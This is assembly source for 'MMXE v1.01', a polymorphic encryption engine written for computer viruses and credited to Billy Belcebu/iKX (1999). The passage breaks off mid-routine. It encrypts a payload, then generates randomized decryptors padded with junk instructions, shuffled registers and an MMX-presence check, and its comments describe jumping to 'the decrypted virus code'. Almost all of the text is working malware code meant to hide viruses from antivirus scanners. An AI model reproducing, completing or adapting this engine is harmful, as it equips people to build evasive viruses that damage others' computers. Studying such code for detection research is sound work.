_LOADSIZE       equ     0000000000000100b
_LOADPOINTER    equ     0000000000001000b
_LOADKEY        equ     0000000000010000b
_PASSKEY2MMX    equ     0000000000100000b
_PASSPTR2MMX    equ     0000000001000000b
_CRYPT          equ     0000000010000000b
_PASSMMX2PTR    equ     0000000100000000b
_INCPOINTER     equ     0000001000000000b
_DECCOUNTER     equ     0000010000000000b
_LOOP           equ     0000100000000000b

; [ POSITIONS ]

@CHECK4MMX      equ     00h
@DELTAOFFSET    equ     01h
@LOADSIZE       equ     02h
@LOADPOINTER    equ     03h
@LOADKEY        equ     04h
@PASSKEY2MMX    equ     05h
@PASSPTR2MMX    equ     06h
@CRYPT          equ     07h
@PASSMMX2PTR    equ     08h
@INCPOINTER     equ     09h
@DECCOUNTER     equ     0Ah
@LOOP           equ     0Bh

; [ PUSHAD structure ]

PUSHAD_EDI      equ     00h
PUSHAD_ESI      equ     04h
PUSHAD_EBP      equ     08h
PUSHAD_ESP      equ     0Ch
PUSHAD_EBX      equ     10h
PUSHAD_EDX      equ     14h
PUSHAD_ECX      equ     18h
PUSHAD_EAX      equ     1Ch

RETURN_ADDRESS  equ     04h

; [ MMXE v1.01 ]

mmxe            proc
	pushad
	call    @@init_mmxe

	pushad
	call    @@crypt_data
	popad

	call    @@gen_some_garbage
	call    @@gen_check4mmx
	call    @@gen_some_garbage

; Generate the 5 parts of the decryptor that go before the loop

@@gb4l_:
	call    @@gen_some_garbage
	call    @@gen_before_loop
@@gb4l?:
	movzx   ecx,word ptr [ebp+@@flags]
	xor     ecx,_CHECK4MMX or \             ; Check if all flags were 
		    _DELTAOFFSET or \           ; done ... (They should be,
		    _LOADSIZE or \              ; but i don't trust in my own
		    _LOADPOINTER or \           ; code :)
		    _LOADKEY or \
		    _PASSKEY2MMX
	jnz     @@gb4l_
	
; Get the loop point

	call    @@getloopaddress
	call    @@gen_some_garbage

; Generate the decryptor instructions that form the loop

	lea     esi,[ebp+@@after_looptbl]
	mov     ecx,@@s_aftlooptbl
@@gal:  lodsd
	add     eax,ebp

	push    ecx esi
	call    eax
	call    @@gen_some_garbage
	pop     esi ecx

	loop    @@gal

	mov     al,0E9h
	stosb
	mov     eax,LIMIT
	mov     ebx,edi
	sub     ebx,dword ptr [ebp+@@ptr_buffer]
	add     ebx,4
	sub     eax,ebx
	stosd

; And now generate the non-MMX decryptor

	call    @@gen_garbage

	mov     eax,dword ptr [ebp+@@ptrto2nd]
	mov     ebx,edi
	sub     ebx,eax
	sub     ebx,4
	mov     dword ptr [eax],ebx

	and     word ptr [ebp+@@flags],0000h
	and     byte ptr [ebp+@@init_mmx?],00h
	or      word ptr [ebp+@@flags],_CHECK4MMX

@@gb4lx_:
	call    @@gen_some_garbage
	call    @@gen_before_loop_non_mmx

@@gb4lx?:
	movzx   ecx,word ptr [ebp+@@flags]
	xor     ecx,_CHECK4MMX or \             ; Check if all flags were 
		    _DELTAOFFSET or \           ; done ... (They should be,
		    _LOADSIZE or \              ; but i don't trust in my own
		    _LOADPOINTER or \           ; code :)
		    _LOADKEY
	jz      @@continue_with_this

	movzx   ecx,word ptr [ebp+@@flags]
	xor     ecx,_CHECK4MMX or \             ; In strange files, i dunno
		    _DELTAOFFSET or \           ; why, instead 1F, we must 
		    _LOADSIZE or \              ; check for 3F... otherwise,
		    _LOADPOINTER or \           ; all it goes to hell :(
		    _LOADKEY or \
		    _PASSKEY2MMX
	jnz     @@gb4lx_

@@continue_with_this:
	call    @@gen_garbage
	call    @@getloopaddress

	lea     esi,[ebp+@@after_l00ptbl]
	mov     ecx,@@s_aftl00ptbl
@@galx: lodsd
	add     eax,ebp

	push    ecx esi
	call    eax
	call    @@gen_some_garbage
	pop     esi ecx

	loop    @@galx

	mov     al,0E9h                         ; Generate the JMP to the 
	stosb                                   ; decrypted virus code
	mov     eax,LIMIT
	mov     ebx,edi
	sub     ebx,dword ptr [ebp+@@ptr_buffer]
	add     ebx,04h
	sub     eax,ebx
	stosd

	xchg    eax,ecx                         ; Fill with shit the rest
@@FillTheRest:
	call    random
	stosb
	loop    @@FillTheRest


	call    @@uninit_mmxe
	popad
	ret

	db      00h,"[MMXE v1.01]",00h

; --- Initialization & Uninitialization routines

@@init_mmxe:
	mov     dword ptr [ebp+@@ptr_data2enc],esi
	mov     dword ptr [ebp+@@ptr_buffer],edi
	mov     dword ptr [ebp+@@size2enc],ecx
	shr     ecx,2
	mov     dword ptr [ebp+@@size2cryptd4],ecx
	and     byte ptr [ebp+@@init_mmx?],00h
	and     word ptr [ebp+@@flags],00h
	call    random
	mov     dword ptr [ebp+@@enc_key],eax

@@get_key:
	mov     eax,08h
	call    r_range
	or      eax,eax
	jz      @@get_key
	cmp     eax,_ESP
	jz      @@get_key
	mov     byte ptr [ebp+@@reg_key],al
	mov     ebx,eax
@@get_ptr2data:
	mov     eax,08h
	call    r_range
	or      eax,eax
	jz      @@get_ptr2data
	cmp     eax,_ESP
	jz      @@get_ptr2data
	cmp     eax,_EBP
	jz      @@get_ptr2data
	cmp     eax,ebx
	jz      @@get_ptr2data
	mov     byte ptr [ebp+@@reg_ptr2data],al
	mov     ecx,eax
@@get_counter:
	mov     eax,08h
	call    r_range
	or      eax,eax
	jz      @@get_counter
	cmp     eax,_ESP
	jz      @@get_counter
	cmp     eax,ebx
	jz      @@get_counter
	cmp     eax,ecx
	jz      @@get_counter
	mov     byte ptr [ebp+@@reg_counter],al
	mov     edx,eax
@@get_delta:
	mov     eax,08h
	call    r_range
	or      eax,eax
	jz      @@get_delta
	cmp     eax,_ESP
	jz      @@get_delta
	cmp     eax,ebx
	jz      @@get_delta
	cmp     eax,ecx
	jz      @@get_delta
	cmp     eax,edx
	jz      @@get_delta
	mov     byte ptr [ebp+@@reg_delta],al
	mov     edx,eax
@@get_mmxptr2data:
	mov     eax,08h
	call    r_range
	mov     byte ptr [ebp+@@mmx_ptr2data],al
	mov     ebx,eax
@@get_mmxkey:
	mov     eax,08h
	call    r_range
	cmp     eax,ebx
	jz      @@get_mmxkey
	mov     byte ptr [ebp+@@mmx_key],al

	mov     dword ptr [edi],"EXMM"
	ret

@@uninit_mmxe:
	mov     ecx,edi
	sub     ecx,dword ptr [ebp+@@ptr_buffer]
	mov     [esp.RETURN_ADDRESS.PUSHAD_ECX],ecx
	ret

; --- Who made this? Ehrm... oh, it was me! :)

	db      00h,"[- (c) 1999 Billy Belcebu/iKX -]",00h

; --- Useful subroutines used by the engine

@@get_register:
	movzx   ebx,byte ptr [ebp+@@reg_key]
	movzx   ecx,byte ptr [ebp+@@reg_ptr2data]
	movzx   edx,byte ptr [ebp+@@reg_counter]
	movzx   esi,byte ptr [ebp+@@reg_delta]
@@gr_get_another:
	mov     eax,08h
	call    r_range
	cmp     eax,_ESP
	jz      @@gr_get_another
	cmp     eax,ebx
	jz      @@gr_get_another
	cmp     eax,ecx
	jz      @@gr_get_another
	cmp     eax,edx
	jz      @@gr_get_another
	cmp     eax,esi
	jz      @@gr_get_another
	cmp     al,byte ptr [ebp+@@reg_mask]
	jz      @@gr_get_another
	ret

@@get_mmx_register:
	movzx   ebx,byte ptr [ebp+@@mmx_ptr2data]
	movzx   ecx,byte ptr [ebp+@@mmx_key]
@@gmmxr_get_another:
	mov     eax,08h
	call    r_range
	cmp     eax,ebx
	jz      @@gmmxr_get_another
	cmp     eax,ecx
	jz      @@gmmxr_get_another
	ret

@@clear_mask:
	and     byte ptr [ebp+@@reg_mask],00h
	ret

@@is_register:
	cmp     al,byte ptr [ebp+@@reg_key]
	jz      @@is_used
	cmp     al,byte ptr [ebp+@@reg_ptr2data]
	jz      @@is_used
	cmp     al,byte ptr [ebp+@@reg_counter]
	jz      @@is_used
	cmp     al,byte ptr [ebp+@@reg_delta]
	jz      @@is_used
	cmp     al,byte ptr [ebp+@@reg_mask]
	jz      @@is_used
	mov     cl,00h
	org     $-1
@@is_used:
	stc
	ret

@@gen_before_loop:
	mov     eax,05h
	call    r_range
	or      eax,eax                         ; 0
	jz      @@try_deltaoffset
	dec     eax                             ; 1
	jz      @@try_loadsize
	dec     eax                             ; 2
	jz      @@try_loadpointer
	dec     eax                             ; 3
	jz      @@try_loadkey                   ; 4
	jmp     @@try_passkey2mmx               ; 5

@@try_deltaoffset:
	bt      word ptr [ebp+@@flags],@DELTAOFFSET
	jc      @@gen_before_loop
	call    @@gen_deltaoffset
	ret

@@try_loadsize:
	bt      word ptr [ebp+@@flags],@LOADSIZE
	jc      @@gen_before_loop
	call    @@gen_loadsize
	ret

@@try_loadpointer:
	bt      word ptr [ebp+@@flags],@LOADPOINTER
	jc      @@gen_before_loop
	bt      word ptr [ebp+@@flags],@DELTAOFFSET
	jnc     @@gen_before_loop
	call    @@gen_loadpointer
	ret

@@try_loadkey:
	bt      word ptr [ebp+@@flags],@LOADKEY
	jc      @@gen_before_loop
	call    @@gen_loadkey
	ret

@@try_passkey2mmx:       
	bt      word ptr [ebp+@@flags],@PASSKEY2MMX
	jc      @@gen_before_loop        
	bt      word ptr [ebp+@@flags],@LOADKEY
	jnc     @@gen_before_loop
	call    @@gen_passkey2mmx
	ret

@@gen_before_loop_non_mmx:
	mov     eax,04h
	call    r_range
	or      eax,eax                         ; 0
	jz      @@try_deltaoffset_non_mmx
	dec     eax                             ; 1
	jz      @@try_loadsize_non_mmx
	dec     eax                             ; 2
	jz      @@try_loadpointer_non_mmx
	jmp     @@try_loadkey_non_mmx

@@try_deltaoffset_non_mmx:
	bt      word ptr [ebp+@@flags],@DELTAOFFSET
	jc      @@gen_before_loop
	call    @@gen_deltaoffset
	ret

@@try_loadsize_non_mmx:
	bt      word ptr [ebp+@@flags],@LOADSIZE
	jc      @@gen_before_loop
	call    @@gen_loadsize
	ret

@@try_loadpointer_non_mmx:
	bt      word ptr [ebp+@@flags],@LOADPOINTER
	jc      @@gen_before_loop
	bt      word ptr [ebp+@@flags],@DELTAOFFSET
	jnc     @@gen_before_loop
	call    @@gen_loadpointer
	ret

@@try_loadkey_non_mmx:
	bt      word ptr [ebp+@@flags],@LOADKEY
	jc      @@gen_before_loop
	call    @@gen_loadkey
	ret

@@crypt_data:
	mov     ecx,dword ptr [ebp+@@size2cryptd4]
	mov     ebx,dword ptr [ebp+@@enc_key]
	mov     edi,dword ptr [ebp+@@ptr_data2enc]
	mov     esi,edi
@@cl00p:lodsd
	xor     eax,ebx
	stosd
	loop    @@cl00p
	ret

; --- Garbage generators

@@gen_garbage:
	inc     byte ptr [ebp+@@recursion]
	cmp     byte ptr [ebp+@@recursion],RECURSION
	jae     @@gg_exit

	cmp     byte ptr [ebp+@@init_mmx?],00h
	ja      @@gg_mmx
@@gg_non_mmx:
	mov     eax,@@non_mmx_gbg
	jmp     @@gg_doit
@@gg_mmx:
	mov     eax,@@s_gbgtbl
@@gg_doit:
	call    r_range
	lea     ebx,[ebp+@@gbgtbl]
	mov     eax,[ebx+eax*4]
	add     eax,ebp
	call    eax

@@gg_exit:
	dec     byte ptr [ebp+@@recursion]
	ret

@@gen_some_garbage:
	mov     ecx,nGARBAGE
@@gsg_l00p:
	push    ecx
	call    @@gen_garbage
	pop     ecx
	loop    @@gsg_l00p
	ret

; Generates any arithmetic operation with a register with another one register:
; ADD/OR/ADC/SBB/AND/SUB/XOR/CMP REG32,REG32

@@gen_arithmetic_reg32_reg32:
	call    random
	and     al,00111000b            ; [ADD,OR,ADC,SBB,AND,SUB,XOR,CMP]
	or      al,00000011b            
	stosb

@@gar32r32:
	call    @@get_register
	or      al,al
	jz      @@gar32r32
	shl     eax,3
	or      al,11000000b
	push    eax
	call    random
	and     al,00000111b
	xchg    ebx,eax
	pop     eax
	or      al,bl
	stosb
	ret 

; Generates any arithmetic operation with an immediate with a 32bit register:
; ADD/OR/ADC/SBB/AND/SUB/XOR/CMP REG32,IMM32

@@gen_arithmetic_reg32_imm32:
	mov     al,81h                  ; [ADD,OR,ADC,SBB,AND,SUB,XOR,CMP]
	stosb
@@gar32i32:
	call    @@get_register
	or      al,al
	jz      @@gar32i32
	push    eax
	call    random       
	and     al,00111000b
	or      al,11000000b
	pop     ebx
	or      al,bl
	stosb
	call    random
	stosd
	ret

; Generates any arithmetic operation with an immediate with EAX:
; ADD/OR/ADC/SBB/AND/SUB/XOR/CMP EAX,IMM32

@@gen_arithmetic_eax_imm32:
	call    random
	and     al,00111000b            ; [ADD,OR,ADC,SBB,AND,SUB,XOR,CMP]
	or      al,00000101b            
	stosb
	call    random
	stosd
	ret

; Generates a mov immediate to 32 bit reg:
;       MOV     REG32,IMM32

@@gen_mov_reg32_imm32:
	call    @@get_register
	add     al,0B8h
	stosb
	call    random
	stosd
	ret

; Generates mov immediate to 8bit reg:
;       MOV     REG8,IMM8

@@gen_mov_reg8_imm8:
	mov     eax,4
	call    r_range
	call    @@is_register
	jc      @@quitthisshit
	push    eax
	mov     eax,2
	call    r_range
	pop     ecx
	xchg    eax,ecx
	jecxz   @@use_msb
@@put_it:
	add     al,0B0h
	stosb
	call    random
	stosb       
@@quitthisshit:
	ret
@@use_msb:
	or      al,00000100b
	jmp     @@put_it

; Generates CALLs to subroutines:
;       CALL    @@1
;       [...]
;       JMP     @@2
;       [...]
;  @@1: [...]
;       RET
;       [...]
;  @@2: [...]

@@gen_call_to_subroutine:
	mov     al,0E8h
	stosb
	xor     eax,eax
	stosd
	push    edi
	call    @@gen_garbage
	mov     al,0E9h
	stosb
	xor     eax,eax
	stosd
	push    edi
	call    @@gen_garbage
	mov     al,0C3h
	stosb
	call    @@gen_garbage
	mov     ebx,edi
	pop     edx
	sub     ebx,edx
	mov     [edx-4],ebx
	pop     ecx
	sub     edx,ecx
	mov     [ecx-4],edx
@@do_anything:
	ret

; Generate push/garbage/pop structure (allows recursivity):
;       PUSH    REG
;       [...]
;       POP     REG
;

@@gen_push_garbage_pop:
	mov     eax,08h
	call    r_range
	add     al,50h
	stosb
	call    @@gen_garbage
	call    @@get_register
	add     al,58h
	stosb
	ret

; MMX Group 1:
;
; PUNPCKLBW/PUNPCKLWD/PUNPCKLDQ/PACKSSWB/PCMPGTB/PCMPGTW/PCMPGTD/PACHUSWB
; PUNPCKHBW/PUNPCKHWD/PUNPCKHDQ/PACKSSDW

@@gen_mmx_group1:
	mov     bx,600Fh
	mov     eax,0Ch
	call    r_range
	add     bh,al
	xchg    eax,ebx
	stosw
	call    @@build_mmx_gbg_rib
	ret

@@gen_mmx_movq_mm?_mm?:
	mov     ax,6F0Fh                        ; MOVQ MM?,MM?
	stosw
	call    @@build_mmx_gbg_rib
	ret

@@gen_mmx_movd_mm?_reg32:
	mov     ax,7E0Fh                        ; MOVD MM?,E??
	stosw
	call    @@get_mmx_register
	shl     eax,3
	push    eax
	call    @@get_register
	xchg    eax,ebx
	pop     eax
	or      al,bl
	or      al,11000000b
	stosb
	ret

; MMX Group 2:
;
; PCMPEQB/PCMPEQW/PCMPEQD

@@gen_mmx_group2:
	mov     al,0Fh
	stosb
	mov     eax,3
	call    r_range
	add     al,74h
	stosb
	call    @@build_mmx_gbg_rib
	ret

; MMX Group 3:
;
; PSRLW/PSRLD/PSRLQ/PMULLW/PSUBUSB/PSUBUSW/PAND/PADDUSB/PADDUSW/PANDN/PSRAW
; PSRAD/PMULHW/PSUBSB/PSUBSW/POR/PADDSB/PADDSW/PXOR/PSLLW/PSLLD/PSLLQ/PMULADDWD

@@gen_mmx_group3:
	mov     al,0Fh
	stosb
	call    @@__overshit
@@eoeo: db      0D1h,0D2h,0D3h,0D5h,0D8h,0D9h,0DBh,0DCh,0DDh,0DFh
	db      0E1h,0E2h,0E5h,0E8h,0E9h,0EBh,0ECh,0EDh,0EFh
	db      0F1h,0F2h,0F5h
sg3tbl  equ     ($-offset @@eoeo)
@@__overshit:
	pop     esi
	mov     eax,sg3tbl
	call    r_range
	mov     al,byte ptr [esi+eax]
	stosb
	call    @@build_mmx_gbg_rib
@@gmmx_goaway:
	ret

@@build_mmx_gbg_rib:
	call    @@get_mmx_register
	shl     eax,3
	push    eax
	call    @@get_mmx_register
	xchg    eax,ebx
	pop     eax
	or      eax,ebx
	or      al,11000000b
	stosb
	ret

; Generate Onebyters:
;
; CLD/CMC/SALC/NOP/LAHF/INC EAX/DEC EAX/SAHF/(F)WAIT/CWDE

@@gen_onebyter:
	call    @@go_overshit
	db      0FCh,0F5h,0D6h,90h,9Fh,40h,48h,9Eh,9Bh,98h
@@go_overshit:
	pop     esi
	mov     eax,0Ah
	call    r_range
	mov     al,byte ptr [esi+eax]
	stosb
	ret

; Generate many possible ways for make a determinated register to be 0:
; XOR REG,REG/SUB REG,REG/PUSH 0 POP REG/AND REG,0/MOV REG,0

@@gen_zer0_reg:
	call    @@get_register                  ; For garbage generators
@@gen_zero_reg:
	push    eax
	mov     eax,06h
	call    r_range
	pop     ecx
	xchg    eax,ecx
	jecxz   @@xor_reg_reg
	dec     ecx
	jecxz   @@sub_reg_reg
	dec     ecx
	jecxz   @@push_0_pop_reg
	dec     ecx
	jecxz   @@and_reg_0
	dec     ecx
	jecxz   @@mov_reg_0
@@or_reg_m1_inc_reg:       
	push    eax
	cmp     al,_EAX
	jnz     @@or_reg_m1
@@or_eax_m1:
	mov     al,0Dh                          ; OR EAX,-1
	stosb
	xor     eax,eax
	dec     eax
	stosd
	jmp     @@orm1ir_inc_reg
@@or_reg_m1:
	xchg    eax,ebx
	mov     ax,0C883h                       ; OR REG,-1
	or      ah,bl
	stosw
	xor     eax,eax
	dec     eax
	stosb
	xchg    eax,ebx
@@orm1ir_inc_reg:
	pop     eax
	add     al,40h                          ; INC REG
	stosb
	ret

@@xor_reg_reg:
	xchg    eax,ebx
	mov     ax,0C033h                       ; XOR REG,REG
	or      ah,bl
	shl     ebx,3
	or      ah,bl
	stosw
	ret

@@sub_reg_reg:
	xchg    eax,ebx
	mov     ax,0C02Bh                       ; SUB REG,REG
	or      ah,bl
	shl     ebx,3
	or      ah,bl
	stosw
	ret

@@push_0_pop_reg:
	push    eax
	mov     ax,006Ah                        ; PUSH 00h
	stosw                                   ; POP REG
	pop     eax
	add     al,58h
	stosb
	ret

@@and_reg_0:
	cmp     al,_EAX
	jnz     @@and_regnoteax_0
@@and_eax_0:
	mov     al,25h
	stosb
	xor     eax,eax
	stosd
	ret
@@and_regnoteax_0:
	xchg    eax,ebx 
	mov     ax,0E083h                       ; AND REG,00
	or      ah,bl
	stosw
	xor     eax,eax
	stosb
	ret

@@mov_reg_0:
	add     al,0B8h                         ; MOV REG,00000000
	stosb
	xor     eax,eax
	stosd
	ret

; --- Decryptor code generators

; Generate the routine for check for MMX presence, that should perform exactly
; the same action of the following code:
;       MOV     EAX,1
;       CPUID
;       BT      EDX,17h
;       JNC     NOT_MMX

@@gen_check4mmx:
	mov     eax,08h
	call    r_range
	xchg    eax,ecx
	jecxz   @@c4mmx_a_@@1
	dec     ecx
	jecxz   @@c4mmx_a_@@2
	dec     ecx
	jecxz   @@c4mmx_a_@@3
	dec     ecx
	jecxz   @@c4mmx_a_@@4
	dec     ecx
	jecxz   @@c4mmx_a_@@5
	dec     ecx
	jecxz   @@c4mmx_a_@@6
	dec     ecx
	jecxz   @@c4mmx_a_@@7
@@c4mmx_a_@@8:
	xor     eax,eax                         ; ZERO EAX
	call    @@gen_zero_reg                  ; SUB EAX,-1
	mov     al,2Dh
	stosb
	xor     eax,eax
	dec     eax
	stosd
	jmp     @@c4mmx_over_a
@@c4mmx_a_@@7:
	xor     eax,eax                         ; ZERO EAX
	call    @@gen_zero_reg                  ; ADD EAX,1
	mov     al,05h
	stosb
	xor     eax,eax
	inc     eax
	stosd
	jmp     @@c4mmx_over_a
@@c4mmx_a_@@6:
	xor     eax,eax                         ; ZERO EAX
	call    @@gen_zero_reg                  ; STC
	mov     ax,1DF9h                        ; SBB EAX,-2
	stosw
	xor     eax,eax
	dec     eax
	dec     eax
	stosd
	jmp     @@c4mmx_over_a
@@c4mmx_a_@@5:
	xor     eax,eax                         ; ZERO EAX
	call    @@gen_zero_reg                  ; STC
	mov     ax,15F9h                        ; ADC EAX,00000000
	stosw
	xor     eax,eax
	stosd
	jmp     @@c4mmx_over_a
@@c4mmx_a_@@4:
	mov     al,0Dh                          ; OR EAX,-1
	stosb                                   ; AND EAX,1
	xor     eax,eax
	dec     eax
	stosd
	mov     al,25h
	stosb
	xor     eax,eax
	inc     eax
	stosd       
	jmp     @@c4mmx_over_a
@@c4mmx_a_@@3:
	mov     eax,9058016Ah                   ; PUSH 01
	stosd                                   ; POP EAX
	dec     edi
	jmp     @@c4mmx_over_a
@@c4mmx_a_@@2:
	xor     eax,eax
	call    @@gen_zero_reg                  ; ZERO EAX
	mov     al,40h                          ; INC EAX
	stosb
	jmp     @@c4mmx_over_a
@@c4mmx_a_@@1:
	mov     al,0B8h                         ; MOV EAX,1
	stosb
	xor     eax,eax
	inc     eax
	stosd
@@c4mmx_over_a:
	call    @@gen_garbage

	mov     ax,0A20Fh                       ; CPUID
	stosw

	call    @@clear_mask
	mov     byte ptr [ebp+@@reg_mask],_EDX

	call    @@gen_garbage

	mov     eax,03h
	call    r_range
	or      eax,eax
	jz      @@c4mmx_b_@@3
	dec     eax
	jz      @@c4mmx_b_@@2

@@c4mmx_b_@@1:
	mov     eax,17E2BA0Fh                   ; BT EDX,17h
	stosd                                   ; JC $+??
	mov     al,72h
	stosb
	jmp     @@c4mmx_over_b
@@c4mmx_b_@@2:
	mov     eax,0000C2F7h                   ; TEST EDX,00400000h
	stosd                                   ; JZ $+??
	mov     eax,00740040h
	stosd
	dec     edi
	jmp     @@c4mmx_over_b
@@c4mmx_b_@@3:
	mov     eax,7218EAC1h                   ; SHR EDX,18h
	stosd                                   ; JC $+??
@@c4mmx_over_b:
	push    edi
	inc     edi                             ; Fake data for temp. fill

	call    @@gen_garbage

	mov     al,0e9h                         ; RET
	stosb

	mov     dword ptr [ebp+@@ptrto2nd],edi
	xor     eax,eax
	stosd

	call    @@gen_garbage

	pop     ebx
	mov     edx,edi
	sub     edx,ebx
	dec     edx
	mov     byte ptr [ebx],dl

	inc     byte ptr [ebp+@@init_mmx?]

	or      word ptr [ebp+@@flags],_CHECK4MMX
	ret

; Generate a routine for get the pseudo delta-offset, which will look like
; this one:
;       CALL    @@1
;       [...]
;  @@1: POP     REG

@@gen_deltaoffset:
	mov     eax,10h
	call    r_range
	xchg    eax,ebx
	mov     al,0E8h
	stosb
	xor     eax,eax
	stosd
	mov     dword ptr [ebp+@@tmp_call],edi
	call    @@gen_garbage
	mov     ecx,dword ptr [ebp+@@tmp_call]
	mov     ebx,edi
	sub     ebx,ecx
	mov     [ecx-4],ebx
	mov     al,58h
	add     al,byte ptr [ebp+@@reg_delta]
	stosb
	mov     ebx,dword ptr [ebp+@@ptr_buffer]
	sub     ecx,ebx
	mov     dword ptr [ebp+@@fix1],ecx
	or      word ptr [ebp+@@flags],_DELTAOFFSET
	ret

; Generate a routine for put in the register used as counter the size of the
; code we want to decrypt

@@gen_loadsize:
	or      word ptr [ebp+@@flags],_LOADSIZE
	mov     eax,2
	call    r_range
	xchg    eax,ecx
	jecxz   @@gls_@@2
@@gls_@@1:
	mov     al,68h                          ; PUSH size
	stosb                                   ; POP reg_size
	mov     dword ptr [ebp+@@size_address],edi
	mov     eax,dword ptr [ebp+@@size2cryptd4]
	stosd
	call    @@gen_garbage
	mov     al,58h
	add     al,byte ptr [ebp+@@reg_counter]
	stosb
	ret
@@gls_@@2:
	movzx   eax,byte ptr [ebp+@@reg_counter]
	add     eax,0B8h                        ; MOV reg_size,size
	stosb
	mov     dword ptr [ebp+@@size_address],edi
	mov     eax,dword ptr [ebp+@@size2cryptd4]
	stosd
	ret

; Generate the code that will make the pointer register to point exactly to
; the beginning of the code we want to encrypt or decrypt

@@gen_loadpointer:
	mov     eax,LIMIT
	sub     eax,dword ptr [ebp+@@fix1]
	mov     dword ptr [ebp+@@fix2],eax

	mov     eax,03h
	call    r_range
	or      eax,eax
	jz      @@lp_@@3
	dec     eax
	jz      @@lp_@@2
@@lp_@@1:
	mov     al,8Dh                          ; LEA reg_ptr,[reg_delta+fix]
	stosb
	movzx   eax,byte ptr [ebp+@@reg_ptr2data]
	shl     al,3
	add     al,10000000b
	add     al,byte ptr [ebp+@@reg_delta]
	stosb
	jmp     @@lp_
@@lp_@@2:
	mov     al,8Bh                          ; MOV reg_ptr,reg_delta
	stosb                                   ; ADD reg_ptr,fix
	movzx   eax,byte ptr [ebp+@@reg_ptr2data]
	shl     eax,3
	or      al,byte ptr [ebp+@@reg_delta]
	or      al,11000000b
	stosb
	call    @@gen_garbage
	mov     al,81h
	stosb
	mov     al,0C0h
	or      al,byte ptr [ebp+@@reg_ptr2data]
	stosb
	jmp     @@lp_
@@lp_@@3:
	call    @@clear_mask                    ; MOV reg_mask,fix2
	call    @@get_register                  ; LEA reg_ptr,[reg_mask+reg_delta+(fix+fix2)]
	mov     byte ptr [ebp+@@reg_mask],al

	add     al,0B8h
	stosb
	call    random
	stosd

	push    eax
	call    @@gen_garbage
	pop     edx

	sub     dword ptr [ebp+@@fix2],edx

	mov     al,8Dh
	stosb
	movzx   eax,byte ptr [ebp+@@reg_ptr2data]
	shl     eax,3
	or      al,10000100b
	stosb
	movzx   eax,byte ptr [ebp+@@reg_mask]
	shl     eax,3
	or      al,byte ptr [ebp+@@reg_delta]
	stosb

@@lp_:
	mov     eax,dword ptr [ebp+@@fix2]
	stosd
	or      word ptr [ebp+@@flags],_LOADPOINTER
	ret

; Put in the register used as key the number used for the encryption of the
; virus code.

@@gen_loadkey:
	mov     eax,2
	call    r_range
	xchg    eax,ecx
	jecxz   @@glk_@@2
@@glk_@@1:
	mov     al,68h                          ; PUSH enc_key
	stosb                                   ; POP reg_key
	mov     eax,dword ptr [ebp+@@enc_key]
	stosd
	call    @@gen_garbage
	mov     al,58h
	add     al,byte ptr [ebp+@@reg_key]
	stosb
	or      word ptr [ebp+@@flags],_LOADKEY
	ret
@@glk_@@2:                                      ; MOV key_reg,enc_key
	movzx   eax,byte ptr [ebp+@@reg_key]
	add     eax,0B8h
	stosb
	mov     eax,dword ptr [ebp+@@enc_key]
	stosd
	or      word ptr [ebp+@@flags],_LOADKEY
	ret

; Generate the code for pass the encryption key to an MMX register

@@gen_passkey2mmx:
	mov     ax,6E0Fh                        ; MOV mmx_key,reg_key
	stosw
	movzx   eax,byte ptr [ebp+@@mmx_key]
	shl     eax,3
	or      al,byte ptr [ebp+@@reg_key]
	or      al,11000000b
	stosb
	or      word ptr [ebp+@@flags],_PASSKEY2MMX
	ret

; Just for know where we must loop the decryptor

@@getloopaddress:
	mov     dword ptr [ebp+@@l00paddress],edi
	ret

; Pass the dword of code we are decrypting to the MMX register used for that
; matter

@@gen_passptr2mmx:
	mov     ax,6E0Fh                        ; MOV mmx_ptr,[reg_ptr]
	stosw
	movzx   eax,byte ptr [ebp+@@mmx_ptr2data]
	shl     eax,3
	or      al,byte ptr [ebp+@@reg_ptr2data]
	stosb
	or      word ptr [ebp+@@flags],_PASSPTR2MMX
	ret

; Generate the MMX encryption opcode:
; PXOR

@@gen_crypt_instructions:
	mov     ax,0EF0Fh                          ; PXOR mmx_ptr,mmx_key
	stosw
	movzx   eax,byte ptr [ebp+@@mmx_ptr2data]
	shl     eax,3
	or      al,byte ptr [ebp+@@mmx_key]
	or      al,11000000b
	stosb
	or      word ptr [ebp+@@flags],_CRYPT
	ret

; Generate the alternative method of MMX encryption code:
; PXOR = XOR

@@gen_non_mmx_crypt_instructions:
	mov     ax,0031h                        ; XOR [reg_ptr],reg_key
	movzx   ebx,byte ptr [ebp+@@reg_key]
	shl     ebx,3
	or      bl,byte ptr [ebp+@@reg_ptr2data]
	or      ah,bl
	stosw
	ret

; Generate the code that will pass the already decrypted data to its original
; position

@@gen_passmmx2ptr:
	mov     ax,7E0Fh                        ; MOVD [reg_ptr],(mmx_ptr xor mmx_key)
	stosw
	movzx   eax,byte ptr [ebp+@@mmx_ptr2data]
	shl     eax,3
	or      al,byte ptr [ebp+@@reg_ptr2data]
	stosb
	or      word ptr [ebp+@@flags],_PASSMMX2PTR
	ret

; Select the order between increase pointer and decrease counter

@@gen_incpointer_deccounter:
	mov     eax,2
	call    r_range
	xchg    eax,ecx
	jecxz   @@gdc_gip
@@gip_gdc:
	call    @@gen_incpointer
	call    @@gen_some_garbage
	call    @@gen_deccounter
	ret
@@gdc_gip:
	call    @@gen_deccounter
	call    @@gen_some_garbage
	call    @@gen_incpointer
	ret

; Generate the code for make the pointer register to point to the next dword

@@gen_incpointer:
	mov     eax,5
	call    r_range
	xchg    eax,ecx
	jecxz   @@gip_@@2
	dec     ecx
	jz      @@gip_@@3
	dec     ecx
	jz      @@gip_@@4
	dec     ecx
	jnz     @@gip_@@1
	jmp     @@gip_@@5

@@gip_@@1:
	mov     bl,4                            ; ADD reg_ptr,4
	call    @@gip_AddIt
	jmp     @@gip_EXIT

@@gip_@@2:
	mov     eax,2                   
	call    r_range
	xchg    eax,ecx
	jecxz   @@gip_@@2_@@2
@@gip_@@2_@@1:
	mov     bl,3                            ; ADD reg_ptr,3
	call    @@gip_AddIt

	call    @@gen_garbage

	mov     bl,1                            ; INC reg_ptr
	call    @@gip_IncIt
	jmp     @@gip_@@2_EXIT
@@gip_@@2_@@2:
	mov     bl,1                            ; INC reg_ptr
	call    @@gip_IncIt

	call    @@gen_garbage

	mov     bl,3
	call    @@gip_AddIt                     ; ADD reg_ptr,3
@@gip_@@2_EXIT:
	jmp     @@gip_EXIT

@@gip_@@3:
	mov     eax,2
	call    r_range
	xchg    eax,ecx
	jecxz   @@gip_@@3_@@2
@@gip_@@3_@@1:
	mov     bl,2                            ; ADD reg_ptr,2
	call    @@gip_AddIt

	call    @@gen_garbage

	mov     bl,2                            ; INC reg_ptr
